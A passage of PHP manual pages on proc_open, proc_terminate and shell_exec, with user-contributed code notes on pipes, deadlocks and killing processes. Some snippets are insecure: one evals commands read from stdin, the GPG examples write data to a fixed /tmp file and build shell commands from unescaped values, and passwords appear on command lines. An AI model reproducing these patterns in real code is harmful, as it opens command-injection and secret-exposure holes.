}
?>

Process class:
<?php
class Process {
    public $resource;
    public $pipes;
    public $script;
    public $max_execution_time;
    public $start_time;

    function __construct(&$executable, &$root, $script, $max_execution_time) {
        $this->script = $script;
        $this->max_execution_time = $max_execution_time;
        $descriptorspec    = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $this->resource    = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
        $this->start_time = mktime();
    }

    // is still running?
    function isRunning() {
        $status = proc_get_status($this->resource);
        return $status["running"];
    }

    // long execution time, proccess is going to be killer
    function isOverExecuted() {
        if ($this->start_time+$this->max_execution_time<mktime()) return true;
        else return false;
    }

}
?>

Example of using:
<?php
$manager = new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php
Luceo 28-Mar-2010 07:39
It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a') // stderr
);
?>
cbn at grenet dot org 18-Dec-2009 07:30
Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
 * Execute and display the output in real time (stdout + stderr).
 *
 * Please note this snippet is prepended with an appropriate shebang for the
 * CLI. You can re-use only the function.
 *
 * Usage example:
 * chmod u+x proc_open.php
 * ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
 */
define(BUF_SIZ, 1024);        # max buffer size
define(FD_WRITE, 0);        # stdin
define(FD_READ, 1);        # stdout
define(FD_ERR, 2);        # stderr

/*
 * Wrapper for proc_*() functions.
 * The first parameter $cmd is the command line to execute.
 * Return the exit code of the process.
 */
function proc_exec($cmd)
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );

    $ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
    if (!is_resource($ptr))
        return false;

    while (($buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
            || ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
        if (!isset($flag)) {
            $pstatus = proc_get_status($ptr);
            $first_exitcode = $pstatus["exitcode"];
            $flag = true;
        }
        if (strlen($buffer))
            echo $buffer;
        if (strlen($errbuf))
            echo "ERR: " . $errbuf;
    }

    foreach ($pipes as $pipe)
        fclose($pipe);

    /* Get the expected *exit* code to return the value */
    $pstatus = proc_get_status($ptr);
    if (!strlen($pstatus["exitcode"]) || $pstatus["running"]) {
        /* we can trust the retval of proc_close() */
        if ($pstatus["running"])
            proc_terminate($ptr);
        $ret = proc_close($ptr);
    } else {
        if ((($first_exitcode + 256) % 256) == 255
                && (($pstatus["exitcode"] + 256) % 256) != 255)
            $ret = $pstatus["exitcode"];
        elseif (!strlen($first_exitcode))
            $ret = $pstatus["exitcode"];
        elseif ((($first_exitcode + 256) % 256) != 255)
            $ret = $first_exitcode;
        else
            $ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
        proc_close($ptr);
    }

    return ($ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
    if (($ret = proc_exec($argv[1])) === false)
        die("Error: not enough FD or out of memory.\n");
    elseif ($ret == 127)
        die("Command not found (returned by sh).\n");
    else
        exit($ret);
}
?>
simeonl at dbc dot co dot nz 03-Mar-2009 06:39
Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output = $read_error = false;
$buffer_len  = $prev_buffer_len = 0;
$ms          = 10;
$output      = '';
$read_output = true;
$error       = '';
$read_error  = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
    if ($read_output != false)
    {
        if(feof($pipes[1]))
        {
            fclose($pipes[1]);
            $read_output = false;
        }
        else
        {
            $str = fgets($pipes[1], 1024);
            $len = strlen($str);
            if ($len)
            {
                $output .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($read_error != false)
    {
        if(feof($pipes[2]))
        {
            fclose($pipes[2]);
            $read_error = false;
        }
        else
        {
            $str = fgets($pipes[2], 1024);
            $len = strlen($str);
            if ($len)
            {
                $error .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($buffer_len > $prev_buffer_len)
    {
        $prev_buffer_len = $buffer_len;
        $ms = 10;
    }
    else
    {
        usleep($ms * 1000); // sleep for $ms milliseconds
        if ($ms < 160)
        {
            $ms = $ms * 2;
        }
    }
}

return proc_close($process);
?>
snowleopard at amused dot NOSPAMPLEASE dot com dot au 05-Jun-2008 07:46
I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

    if(!is_executable($GPGPath)) {
        trigger_error($GPGPath . " is not executable",
        E_USER_ERROR);
        die();
    } else {
        // Set up the descriptors
        $Descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
            3 => array("pipe", "r") // This is the pipe we can feed the password into
        );

        // Build the command line and start the process
        $CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
        $ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

        if(is_resource($ProcessHandle)) {
            // Push passphrase to custom pipe
            fwrite($Pipes[3], $PassPhrase);
            fclose($Pipes[3]);

            // Push input into StdIn
            fwrite($Pipes[0], $InputData);
            fclose($Pipes[0]);

            // Read StdOut
            $StdOut = '';
            while(!feof($Pipes[1])) {
                $StdOut .= fgets($Pipes[1], 1024);
            }
            fclose($Pipes[1]);

            // Read StdErr
            $StdErr = '';
            while(!feof($Pipes[2]))    {
                $StdErr .= fgets($Pipes[2], 1024);
            }
            fclose($Pipes[2]);

            // Close the process
            $ReturnCode = proc_close($ProcessHandle);

        } else {
            trigger_error("cannot create resource", E_USER_ERROR);
            die();
        }
    }

    if (strlen($StdOut) >= 1) {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdOut;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
        }
    } else {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdErr;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
        }
    }
    return $ReturnValue;
}
?>
radone at gmail dot com 26-May-2008 05:26
To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:

<?php
function gpg_decrypt($string, $secret) {
    $homedir = ''; // path to you gpg keyrings
    $tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to
    file_put_contents($tmp_file, $string);

    $text = '';
    $error = '';
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr ?? instead of a file
        );
    $command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
    $process = proc_open($command, $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $secret);
        fclose($pipes[0]);
        while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $text .= $s;
        }
        fclose($pipes[1]);
        // optional:
        while($s= fgets($pipes[2], 1024)) {
          $error .= $s . "\n";
        }
        fclose($pipes[2]);
    }

    file_put_contents($tmp_file, '');

    if (preg_match('/decryption failed/i', $error)) {
        return false;
    } else {
        return $text;
    }
}
?>
jonah at whalehosting dot ca 02-May-2008 10:22
@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening.  That is why stdin is read: you are writing, the process is reading.  So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it.  In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2.  Specifically GPG as mentioned in the documentation.
joachimb at gmail dot com 30-Apr-2008 08:24
I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
        $descriptorspec = array(
           0 => array("pipe", "r"), // stdin
           1 => array("pipe", "w"), // stdout
           2 => array("pipe", "w") // stderr
        );

        $process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
        while (!feof($pipes[1])) {
            foreach($pipes as $key =>$pipe) {
                $line = fread($pipe, 128);
                if($line) {
                    print($line);
                    $this->log($line);
                }
            }
            sleep(0.5);
        }
...
?>

everything works fine.
jaroslaw at pobox dot sk 28-Mar-2008 02:15
Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path = '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (is_resource($process)) {
    # wait till something happens on other side
    sleep(1);
    # send command
    fwrite($pipes[0], 'echo $test;');
    fflush($pipes[0]);
    # wait till something happens on other side
    usleep(1000);
    # read pipe for result
    echo fread($pipes[1],1024).'<hr>';
    # close pipes
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    $return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test = 'test data generated here<br>';
while(true) {
    # read incoming command
    if($fh = fopen('php://stdin','rb')) {
        $val_in = fread($fh,1024);
        fclose($fh);
    }
    # execute incoming command
    if($val_in)
        eval($val_in);
    usleep(1000);
    # prevent neverending cycle
    if($tmp_counter++ > 100)
        break;
}
?>
chris AT w3style DOT co.uk 22-Feb-2008 02:57
It took me a long time (and three consecutive projects) to figure this out.  Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

    $this->_proc = proc_open($command, $descriptorSpec, $pipes);
    stream_set_blocking($pipes[2], 0);
    if ($err = stream_get_contents($pipes[2]))
    {
      throw new Swift_Transport_TransportException(
        'Process could not be started [' . $err . ']'
        );
    }

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.
Anonymous 27-Dec-2007 07:40
I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec = array(0 => array('pty'),
                        1 => array('pty'),
                        2 => array('pty'));
?>

pipes are bidirectional then
John Wehin 06-Dec-2007 10:52
STDIN STDOUT example
test.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (is_resource($process))
{
    fwrite($pipes[0], "start\n");    // send start
    echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
    fwrite($pipes[0], "get\n");    // send get
    echo ("Get: ".fgets($pipes[1],4096));    //get answer
    fwrite($pipes[0], "stop\n");    //send stop
    echo ("\n\nStop ....".fgets($pipes[1],4096));  //get answer

    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $return_value = proc_close($process);  //stop test_gen.php
    echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys=0;
function play_stop()
{
global $keys;
        $stdin_stat_arr=fstat(STDIN);
        if($stdin_stat_arr[size]!=0)
        {
            $val_in=fread(STDIN,4096);
            switch($val_in)
            {
            case "start\n":    echo "Started\n";
                    return false;
                    break;
            case "stop\n":    echo "Stopped\n";
                    $keys=0;
                    return false;
                    break;
            case "pause\n":    echo "Paused\n";
                    return false;
                    break;
            case "get\n":    echo ($keys."\n");
                    return true;
                    break;
            default:    echo("Передан не верный параметр: ".$val_in."\n");
                    return true;
                    exit();
            }
        }else{return true;}
}
while(true)
{
while(play_stop()){usleep(1000);}
while(play_stop()){$keys++;usleep(10);}
}
?>
php dot net_manual at reimwerker dot de 03-Jun-2006 04:47
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
Kevin Barr 06-Mar-2006 12:36
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
    if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
    else return FALSE;
}
andrew dot budd at adsciengineering dot com 28-Dec-2005 09:55
The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.
mendoza at pvv dot ntnu dot no 21-Oct-2005 10:42
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0],$password);
    fclose($pipes[0]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    return !$return_value;
  }
}
?>
picaune at hotmail dot com 16-Oct-2005 04:51
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
Kyle Gibson 05-Aug-2005 12:16
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
ralf at dreesen[*NO*SPAM*] dot net 09-Jan-2004 11:49
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

   fwrite($pipes[0], $in);
    /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
    * to stdout and blocks, when the stdout buffer is full. Then it will not
    * continue reading from stdin and php will block here.
    */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>
MagicalTux at FF.ST 24-Dec-2003 04:20
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
daniela at itconnect dot net dot au 16-Apr-2003 02:01
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
    $descs = array (
                0 => array ("file", "php://stdin", "r"),
                1 => array ("pipe", "w"),
                2 => array ("pipe", "w")
        );
        $proc = proc_open ("myprogram", $descs, $fp);


Уничтожить процесс, открытый при помощи функции proc_open

  • « proc_open
  • shell_exec »
  • PHP Manual
  • Функции запуска программ
  • Уничтожить процесс, открытый при помощи функции proc_open

proc_terminate

(PHP 5, PHP 7, PHP 8)

proc_terminate — Уничтожить процесс, открытый при помощи функции proc_open

Описание

proc_terminate(resource $process, int $signal = 15): bool

Отправляет процессу process (созданному при помощи функции proc_open()) сигнал, говорящий о том, что он должен завершиться. Функция proc_terminate() возвращается немедленно и не ожидает завершения процесса.

Функция proc_terminate() позволяет завершить процесс и продолжить выполнение других задач. Вы можете опрашивать процесс (для того, чтобы проверить, был ли он завершён) при помощи функции proc_get_status().

Список параметров

process

Дескриптор типа resource, открытый при помощи функции proc_open(), который будет закрыт.

signal

Этот необязательный параметр полезен только на операционных системах, поддерживающих стандарт POSIX. Вы можете указать сигнал, который будет отправлен процессу, используя системный вызов kill(2). По умолчанию используется сигнал SIGTERM.

Возвращаемые значения

Возвращает статус прекращения процесса, который был запущен.

Смотрите также

  • proc_open() - Выполнить команду и открыть указатель на файл для ввода/вывода
  • proc_close() - Завершить процесс, открытый proc_open и вернуть код возврата этого процесса
  • proc_get_status() - Получить информацию о процессе, открытом proc_open

User Contributed Notes

smcbride at msn dot com 27-Jan-2021 05:35
Just a small note so people don't have to look elsewhere

To get the list of processes or find a process by name, use
$proclist = shell_exec('ps -elF') for linux
$proclist = shell_exec('tasklist') for windows

After that, you can use php normal parsing functions to get the pid
v dot denegin at yahoo dot com 17-Dec-2013 03:47
on Windows platform proc_terminate() does not kill sub-processes that are not handling kill signals. It happens even if you call xxx.exe and call proc_terminate() the process will remain active.

The solution is instead of calling proc_terminate() is to call the user-defined kill() function (already win/unix optimized)
After that need to close all pipes and execute proc_close().

function kill($pid){
    return stripos(php_uname('s'), 'win')>-1  ? exec("taskkill /F /T /PID $pid") : exec("kill -9 $pid");
}

function killall($pids) {
    $os=stripos(php_uname('s'), 'win')>-1;
    ($_=implode($os?' /PID ':' ',$pids)) or ($_=$pids);
    return preg_match('/success|close/', $os ? exec("taskkill /F /T /PID $_") : exec("kill -9 $_"));
}

Example:

$pstatus = proc_get_status($resource);
$PID = $pstatus['pid'];

// other commands

kill($PID); // instead of proc_terminate($resource);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($resource);
csh dot spam at me dot com 20-Oct-2013 09:55
/bin/sh -c CMD will fork sh and then exec CMD.
/bin/sh -c exec CMD will NOT fork and only executes CMD.

Therefore, you can get rid of this hack by prefixing your command to "exec bla bla bla".
jerhee at ucsd dot edu 23-Feb-2008 08:08
As explained in http://bugs.php.net/bug.php?id=39992, proc_terminate() leaves children of the child process running. In my application, these children often have infinite loops, so I need a sure way to kill processes created with proc_open(). When I call proc_terminate(), the /bin/sh process is killed, but the child with the infinite loop is left running.

Until proc_terminate() gets fixed, I would not recommend using it. Instead, my solution is to:
1) call proc_get_status() to get the parent pid (ppid) of the process I want to kill.
2) use ps to get all pids that have that ppid as their parent pid
3) use posix_kill() to send the SIGKILL (9) signal to each of those child pids
4) call proc_close() on process resource

<?php
$descriptorspec = array(
0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
2 => array('pipe', 'w')   // stderr is a pipe the child will write to
);
$process = proc_open('bad_program', $descriptorspec, $pipes);
if(!is_resource($process)) {
    throw new Exception('bad_program could not be started.');
}
//pass some input to the program
fwrite($pipes[0], $lots_of_data);
//close stdin. By closing stdin, the program should exit
//after it finishes processing the input
fclose($pipes[0]);

//do some other stuff ... the process will probably still be running
//if we check on it right away

$status = proc_get_status($process);
if($status['running'] == true) { //process ran too long, kill it
    //close all pipes that are still open
    fclose($pipes[1]); //stdout
    fclose($pipes[2]); //stderr
    //get the parent pid of the process we want to kill
    $ppid = $status['pid'];
    //use ps to get all the children of this process, and kill them
    $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid $ppid`);
    foreach($pids as $pid) {
        if(is_numeric($pid)) {
            echo "Killing $pid\n";
            posix_kill($pid, 9); //9 is the SIGKILL signal
        }
    }

    proc_close($process);
}

?>


Выполнить команду через оболочку и вернуть вывод в виде строки

  • « proc_terminate
  • system »
  • PHP Manual
  • Функции запуска программ
  • Выполнить команду через оболочку и вернуть вывод в виде строки

shell_exec

(PHP 4, PHP 5, PHP 7, PHP 8)

shell_exec — Выполнить команду через оболочку и вернуть вывод в виде строки

Описание

shell_exec(string $command): string|false|null

Функция идентична оператору с обратным апострофом.

Замечание:

В Windows нижележащий канал открывается в текстовом режиме, что может привести к сбою функции для двоичного вывода. В таком случае попробуйте вместо этого использовать popen().

Список параметров

command

Команда, которая будет выполнена.

Возвращаемые значения

Строка (string), содержащая вывод выполненной команды, false, если канал не может быть установлен или null в случае возникновения ошибки или отсутствии вывода команды.

Замечание:

Эта функция может вернуть null в двух случаях: если произошла ошибка или если выполняемая команда ничего не выводит. Не пользуйтесь этой функцией, для определения, успешно ли выполнилась команда. Вместо этого используйте exec(), так как она предоставляет возможность проверить код возврата.

Ошибки

Выдаётся ошибка уровня E_WARNING, когда канал не может быть установлен.

Примеры

Пример #1 Пример использования shell_exec()

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

Смотрите также

  • exec() - Выполнить внешнюю программу
  • escapeshellcmd() - Экранировать метасимволы командной строки

User Contributed Notes

shell master 10-Nov-2023 11:27
You can use a one liner to print the output of a shell script like so:

<?= shell_exec("/proof.sh"); ?>
mamedul.github.io 06-Nov-2023 11:16
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }

}
Which shell? 10-Apr-2022 06:31
Does anything, anywhere mention WHICH SHELL shell_exec() runs?...on my system, it's running sh, instead of bash, which causes <() Process Substitution to fail with no error msg.

Shouldn't the docs mention which shell this function (& backticks ``) runs?
Numabyte 11-Mar-2021 06:01
An important thing to consider is in some cases, like on MacOS, using "2>&1" to properly output string from exec() works well when you wrap the command in parenthesis.

For example:
WITH PARENTHESIS AROUND CMD
$cmd = "(mysqldump -h l ocalhost -u root -ppassword --databases login_practice_db > /Users/username/Desktop/testDB.sql) 2>&1";

$sys = shell_exec($cmd ); //Works and produces an error (localhost is poorly spaced on purpose)

WITHOUT PARENTHESIS AROUND CMD
 $cmd = "mysqldump -h l ocalhost -u root -ppassword --databases login_practice_db > /Users/username/Desktop/testDB.sql 2>&1";

$sys = shell_exec($cmd ); //Does nothing and goes blank as if the result were error free. Empty string.

It's interesting how shell command execution can get down to how nuanced one might need to be with string parsing.
smcbride at msn dot com 07-Dec-2020 10:47
proc_open is probably a better solution for most use cases as of PHP 7.4.  There is better control and platform independence.  If you still want to use shell_exec(), I like to wrap it with a function that allows better control.

Something like below solves some problems with background process issues on apache/php.  It also

public function sh_exec(string $cmd, string $outputfile = "", string $pidfile = "", bool $mergestderror = true, bool $bg = false) {
  $fullcmd = $cmd;
  if(strlen($outputfile) > 0) $fullcmd .= " >> " . $outputfile;
  if($mergestderror) $fullcmd .= " 2>&1";
  if($bg) {
    $fullcmd = "nohup " . $fullcmd . " &";
    if(strlen($pidfile)) $fullcmd .= " echo $! > " . $pidfile;
  } else {
    if(strlen($pidfile) > 0) $fullcmd .= "; echo $$ > " . $pidfile;
  }
  shell_exec($fullcmd);
}
pedroxam at gmail dot com 20-Mar-2019 10:50
Here is my gist to all:

function execCommand($command, $log) {

    if (substr(php_uname(), 0, 7) == "Windows")
    {
        //windows
        pclose(popen("start /B " . $command . " 1> $log 2>&1", "r"));
    }
    else
    {
        //linux
        shell_exec( $command . " 1> $log 2>&1" );
    }

    return false;
}
ricky at rocker dot com 12-Oct-2018 10:21
despite:

shell_exec("env")

returning

SHELL=/bin/bash

I simply could not get:

shell_exec("bash command <(another bash command)")

to work. I have now got it working by forcing the bash shell using:

shell_exec("bash -c \"bash command <(another bash command)\"")
smithnigelw at gmail dot com 27-Apr-2018 02:13
With PHP on Windows, if you get the 'Warning: shell_exec() [function.shell-exec]: Unable to execute' error, then you need to check the permissions on file 'C:\WINDOWS\system32\cmd.exe'. You need read/execute permission on this file.  I would recommend using the sysinternals Process Monitor 'procmon.exe' to confirm the user that is trying to run 'cmd.exe'. Filter on 'Process Name' is 'php-cgi.exe' and 'Path' ends with 'cmd.exe'. Look at the event properties for the task with the access denied error, and it will show you the 'Impersonating' user name.  This is usually the 'Internet Guest Account', often 'NT AUTHORITY\IUSR'.
alexandre dot schmidt at gmail dot com 16-Dec-2015 02:26
To run a command in background, the output must be redirected to /dev/null. This is written in exec() manual page. There are cases where you need the output to be logged somewhere else though. Redirecting the output to a file like this didn't work for me:

<?php
# this doesn't work!
shell_exec("my_script.sh 2>&1 >> /tmp/mylog &");
?>

Using the above command still hangs web browser request.

Seems like you have to add exactly "/dev/null" to the command line. For instance, this worked:

<?php
# works, but output is lost
shell_exec("my_script.sh 2>/dev/null >/dev/null &");
?>

But I wanted the output, so I used this:

<?php
shell_exec("my_script.sh 2>&1 | tee -a /tmp/mylog 2>/dev/null >/dev/null &");
?>

Hope this helps someone.
jack dot harris-7ot2j4ip at yopmail dot Com 11-Sep-2014 01:52
On Windows, if shell_exec does NOT return the result you expected and the PC is on an enterprise network, set the Apache service (or wampapache) to run under your account instead of the 'Local system account'. Your account must have admin privileges.

To change the account go to console services, right click on the Apache service, choose properties, and select the connection tab.
wally at soggysoftware dot co dot uk 10-Aug-2012 11:39
As others have noted, shell_exec and the backtick operator (`) both return NULL if the executed command doesn't output anything.

This can be worked around by doing anything like the following:

shell_exec ("silentcmd && echo ' '");

Here we're simply outputting blank whitespace if  the command succeeds - which satisfies this slightly strange issue.  From there, you can trim() the command output etc.
trev at dedicate.co.uk 21-Oct-2011 07:34
If you're trying to run a command such as "gunzip -t" in shell_exec and getting an empty result, you might need to add 2>&1 to the end of the command, eg:

Won't always work:
echo shell_exec("gunzip -c -t $path_to_backup_file");

Should work:
echo shell_exec("gunzip -c -t $path_to_backup_file 2>&1");

In the above example, a line break at the beginning of the gunzip output seemed to prevent shell_exec printing anything else. Hope this saves someone else an hour or two.
martin at intelli-gens dot com 17-Feb-2010 03:21
Also after lots of hair pulling why shell_exec didn't want to work for me I found out that in my case some things needed to be set (which normally are set by default).

the options -jo
-j means: don't recreate the paths found in the archive
-o means: always overwrite files

And I needed to specify the destination path (even though it should unzip in the same directory when not specified), this is done by -d [path]

The strange thing was that I didn't have to put these options when I would give the command on the command-line, only when I would call it with shell_exec.

So the complete command in php would be for me:

shell_exec('unzip -jo /path_to_archive/archive.zip  -d /destination_path')

And putting en echo in front will help you a lot.
it should tell you something like this:

Archive:  /path_to_zip/archive.zip
  inflating: /destination_path/file1.jpeg
  inflating: /destination_path/file2.jpeg
  inflating: /destination_path/file3.jpeg
codeslinger at compsalot dot com 13-Jan-2010 06:47
it took me a heck of a lot of head banging to finally solve this problem so I thought that I would mention it here.

If you are using Eclipse and you try to do something like

<?php

